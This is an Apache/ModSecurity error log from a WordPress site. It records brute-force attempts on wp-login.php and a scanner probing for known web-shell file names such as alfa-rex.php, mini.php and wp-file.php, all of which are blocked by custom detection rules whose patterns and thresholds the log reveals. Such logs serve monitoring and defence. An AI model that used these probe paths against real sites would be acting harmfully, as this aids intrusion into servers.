[Sun Feb 08 03:17:22.278716 2026] [:error] [pid 62340:tid 62385] [client 54.224.44.213:52023] [client 54.224.44.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.224.44.213, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYePwgp6H49g9bqshiucXAAAAAo"]
[Sun Feb 08 03:17:22.278760 2026] [:error] [pid 62340:tid 62385] [client 54.224.44.213:52023] [client 54.224.44.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 54.224.44.213 on wp-login.php, counter = 31"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYePwgp6H49g9bqshiucXAAAAAo"]
[Sun Feb 08 03:55:42.099356 2026] [autoindex:error] [pid 58947:tid 59028] [client 23.100.100.51:5028] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Text/Diff/Renderer/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Feb 08 03:55:54.907807 2026] [:error] [pid 58947:tid 59012] [client 23.100.100.51:5028] [client 23.100.100.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aYeYyo1Re8oPluFQqli5qgAAAIE"]
[Sun Feb 08 03:56:04.927803 2026] [:error] [pid 59037:tid 59048] [client 23.100.100.51:41104] [client 23.100.100.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.100.100.51, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aYeY1Kfozbk92ZUh9fVxTQAAAMU"]
[Sun Feb 08 03:56:15.346062 2026] [:error] [pid 59037:tid 59067] [client 23.100.100.51:29452] [client 23.100.100.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/index.php"] [unique_id "aYeY36fozbk92ZUh9fVxZgAAANg"]
[Sun Feb 08 03:56:16.137255 2026] [proxy_fcgi:error] [pid 58947:tid 59028] [client 23.100.100.51:58561] AH01071: Got error 'Primary script unknown'
[Sun Feb 08 03:56:20.603142 2026] [autoindex:error] [pid 58947:tid 59019] [client 23.100.100.51:58561] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sitemaps/providers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Feb 08 03:56:28.977410 2026] [:error] [pid 58947:tid 59027] [client 23.100.100.51:58561] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/images/about.php"] [unique_id "aYeY7I1Re8oPluFQqli54AAAAJA"]
[Sun Feb 08 03:56:29.811914 2026] [:error] [pid 59037:tid 59050] [client 23.100.100.51:58990] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/images/about.php"] [unique_id "aYeY7afozbk92ZUh9fVxhwAAAMc"]
[Sun Feb 08 03:56:32.455401 2026] [:error] [pid 58947:tid 59020] [client 23.100.100.51:28289] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/images/about.php"] [unique_id "aYeY8I1Re8oPluFQqli56AAAAIk"]
[Sun Feb 08 03:56:33.111167 2026] [:error] [pid 58945:tid 58963] [client 23.100.100.51:61831] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/images/about.php"] [unique_id "aYeY8e3XhW-_HjvixQM7ngAAAAY"]
[Sun Feb 08 03:56:34.276189 2026] [:error] [pid 58947:tid 59031] [client 23.100.100.51:4489] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/themes.php"] [unique_id "aYeY8o1Re8oPluFQqli57wAAAJQ"]
[Sun Feb 08 03:56:34.742436 2026] [:error] [pid 58946:tid 58997] [client 23.100.100.51:4516] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/themes.php"] [unique_id "aYeY8sWjb-i862L1IhGIowAAAE0"]
[Sun Feb 08 03:56:35.084107 2026] [:error] [pid 58945:tid 58972] [client 23.100.100.51:58962] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/themes.php"] [unique_id "aYeY8-3XhW-_HjvixQM7oQAAAA8"]
[Sun Feb 08 03:56:35.528285 2026] [:error] [pid 58945:tid 58981] [client 23.100.100.51:55862] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/themes.php"] [unique_id "aYeY8-3XhW-_HjvixQM7pAAAABg"]
[Sun Feb 08 03:56:36.408257 2026] [:error] [pid 58945:tid 58967] [client 23.100.100.51:4242] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php/"] [unique_id "aYeY9O3XhW-_HjvixQM7pgAAAAo"]
[Sun Feb 08 03:56:36.827372 2026] [:error] [pid 58946:tid 59004] [client 23.100.100.51:42402] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php/"] [unique_id "aYeY9MWjb-i862L1IhGIqAAAAFQ"]
[Sun Feb 08 03:56:37.522323 2026] [:error] [pid 58945:tid 58973] [client 23.100.100.51:59033] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php/"] [unique_id "aYeY9e3XhW-_HjvixQM7qgAAABA"]
[Sun Feb 08 03:56:38.662275 2026] [:error] [pid 59037:tid 59064] [client 23.100.100.51:31006] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php/"] [unique_id "aYeY9qfozbk92ZUh9fVxpAAAANU"]
[Sun Feb 08 03:56:40.087042 2026] [:error] [pid 59037:tid 59066] [client 23.100.100.51:55830] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aYeY-Kfozbk92ZUh9fVxrQAAANc"]
[Sun Feb 08 03:56:41.435744 2026] [:error] [pid 59037:tid 59054] [client 23.100.100.51:52836] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aYeY-afozbk92ZUh9fVxugAAAMs"]
[Sun Feb 08 03:56:42.066381 2026] [:error] [pid 58947:tid 59025] [client 23.100.100.51:37481] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aYeY-o1Re8oPluFQqli6CAAAAI4"]
[Sun Feb 08 03:56:42.827015 2026] [:error] [pid 58945:tid 58960] [client 23.100.100.51:52824] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/api.php"] [unique_id "aYeY-u3XhW-_HjvixQM7sgAAAAM"]
[Sun Feb 08 03:56:43.642344 2026] [:error] [pid 58945:tid 58966] [client 23.100.100.51:34555] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/linkpreview/index.php"] [unique_id "aYeY--3XhW-_HjvixQM7tQAAAAk"]
[Sun Feb 08 03:56:44.379142 2026] [:error] [pid 58947:tid 59032] [client 23.100.100.51:31001] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/linkpreview/index.php"] [unique_id "aYeY_I1Re8oPluFQqli6DwAAAJU"]
[Sun Feb 08 03:56:45.170679 2026] [:error] [pid 58946:tid 59000] [client 23.100.100.51:4261] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/linkpreview/index.php"] [unique_id "aYeY_cWjb-i862L1IhGIvwAAAFA"]
[Sun Feb 08 03:56:45.718480 2026] [:error] [pid 59037:tid 59063] [client 23.100.100.51:34469] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/linkpreview/index.php"] [unique_id "aYeY_afozbk92ZUh9fVx1QAAANQ"]
[Sun Feb 08 03:56:46.379034 2026] [:error] [pid 58947:tid 59012] [client 23.100.100.51:34551] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aYeY_o1Re8oPluFQqli6FAAAAIE"]
[Sun Feb 08 03:56:49.128961 2026] [:error] [pid 59037:tid 59054] [client 23.100.100.51:36976] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aYeZAafozbk92ZUh9fVx6AAAAMs"]
[Sun Feb 08 03:56:51.381483 2026] [:error] [pid 59037:tid 59062] [client 23.100.100.51:39311] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aYeZA6fozbk92ZUh9fVx-gAAANM"]
[Sun Feb 08 03:56:52.832435 2026] [:error] [pid 58947:tid 59018] [client 23.100.100.51:38099] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aYeZBI1Re8oPluFQqli6MQAAAIc"]
[Sun Feb 08 03:56:53.531972 2026] [:error] [pid 58947:tid 59014] [client 23.100.100.51:4248] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aYeZBY1Re8oPluFQqli6OQAAAIM"]
[Sun Feb 08 03:56:55.305176 2026] [:error] [pid 58947:tid 59030] [client 23.100.100.51:24988] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aYeZB41Re8oPluFQqli6QwAAAJM"]
[Sun Feb 08 03:56:58.588211 2026] [:error] [pid 58945:tid 58979] [client 23.100.100.51:55888] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aYeZCu3XhW-_HjvixQM72wAAABY"]
[Sun Feb 08 03:57:00.149479 2026] [:error] [pid 58945:tid 58978] [client 23.100.100.51:49559] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aYeZDO3XhW-_HjvixQM74gAAABU"]
[Sun Feb 08 03:57:00.642456 2026] [:error] [pid 58945:tid 58976] [client 23.100.100.51:30991] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dropdown.php"] [unique_id "aYeZDO3XhW-_HjvixQM75QAAABM"]
[Sun Feb 08 03:57:01.274373 2026] [:error] [pid 58947:tid 59019] [client 23.100.100.51:38110] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dropdown.php"] [unique_id "aYeZDY1Re8oPluFQqli6awAAAIg"]
[Sun Feb 08 03:57:02.063299 2026] [:error] [pid 58947:tid 59011] [client 23.100.100.51:49589] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dropdown.php"] [unique_id "aYeZDo1Re8oPluFQqli6bwAAAIA"]
[Sun Feb 08 03:57:02.929643 2026] [:error] [pid 59037:tid 59065] [client 23.100.100.51:47829] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dropdown.php"] [unique_id "aYeZDqfozbk92ZUh9fVyOQAAANY"]
[Sun Feb 08 03:57:03.480151 2026] [:error] [pid 59037:tid 59058] [client 23.100.100.51:59039] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aYeZD6fozbk92ZUh9fVyQgAAAM8"]
[Sun Feb 08 03:57:03.985758 2026] [:error] [pid 58947:tid 59030] [client 23.100.100.51:4241] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aYeZD41Re8oPluFQqli6eQAAAJM"]
[Sun Feb 08 03:57:04.470269 2026] [:error] [pid 58946:tid 58997] [client 23.100.100.51:30994] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aYeZEMWjb-i862L1IhGI7AAAAE0"]
[Sun Feb 08 03:57:06.380975 2026] [:error] [pid 58946:tid 58989] [client 23.100.100.51:24964] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/sunrise/"] [unique_id "aYeZEsWjb-i862L1IhGI8wAAAEU"]
[Sun Feb 08 03:57:06.648212 2026] [:error] [pid 59037:tid 59056] [client 23.100.100.51:36940] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-file.php"] [unique_id "aYeZEqfozbk92ZUh9fVyYQAAAM0"]
[Sun Feb 08 03:57:06.913842 2026] [:error] [pid 58946:tid 59002] [client 23.100.100.51:59025] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-file.php"] [unique_id "aYeZEsWjb-i862L1IhGI9QAAAFI"]
[Sun Feb 08 03:57:07.512318 2026] [:error] [pid 58945:tid 58977] [client 23.100.100.51:36953] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-file.php"] [unique_id "aYeZE-3XhW-_HjvixQM7-gAAABQ"]
[Sun Feb 08 03:57:08.292489 2026] [:error] [pid 58947:tid 59030] [client 23.100.100.51:24969] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-file.php"] [unique_id "aYeZFI1Re8oPluFQqli6hwAAAJM"]
[Sun Feb 08 03:57:09.543723 2026] [:error] [pid 59037:tid 59064] [client 23.100.100.51:55928] [client 23.100.100.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/index.php"] [unique_id "aYeZFafozbk92ZUh9fVyeQAAANU"]
[Sun Feb 08 03:57:09.982617 2026] [:error] [pid 58946:tid 58994] [client 23.100.100.51:47851] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex.php"] [unique_id "aYeZFcWjb-i862L1IhGJCwAAAEo"]
[Sun Feb 08 03:57:10.275030 2026] [:error] [pid 58947:tid 59020] [client 23.100.100.51:47832] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex.php"] [unique_id "aYeZFo1Re8oPluFQqli6jQAAAIk"]
[Sun Feb 08 03:57:10.820904 2026] [:error] [pid 58945:tid 58972] [client 23.100.100.51:47828] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa-rex.php"] [unique_id "aYeZFu3XhW-_HjvixQM8BAAAAA8"]
[Sun Feb 08 03:57:11.144169 2026] [:error] [pid 58945:tid 58966] [client 23.100.100.51:47843] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aYeZF-3XhW-_HjvixQM8BQAAAAk"]
[Sun Feb 08 03:57:11.818767 2026] [:error] [pid 58947:tid 59014] [client 23.100.100.51:31036] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aYeZF41Re8oPluFQqli6lAAAAIM"]
[Sun Feb 08 03:57:12.611586 2026] [:error] [pid 58947:tid 59024] [client 23.100.100.51:59067] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aYeZGI1Re8oPluFQqli6lgAAAI0"]
[Sun Feb 08 03:57:13.374137 2026] [:error] [pid 58947:tid 59030] [client 23.100.100.51:38121] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aYeZGY1Re8oPluFQqli6mQAAAJM"]
[Sun Feb 08 03:57:14.128183 2026] [:error] [pid 58945:tid 58978] [client 23.100.100.51:34491] [client 23.100.100.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/php-compat/"] [unique_id "aYeZGu3XhW-_HjvixQM8EQAAABU"]
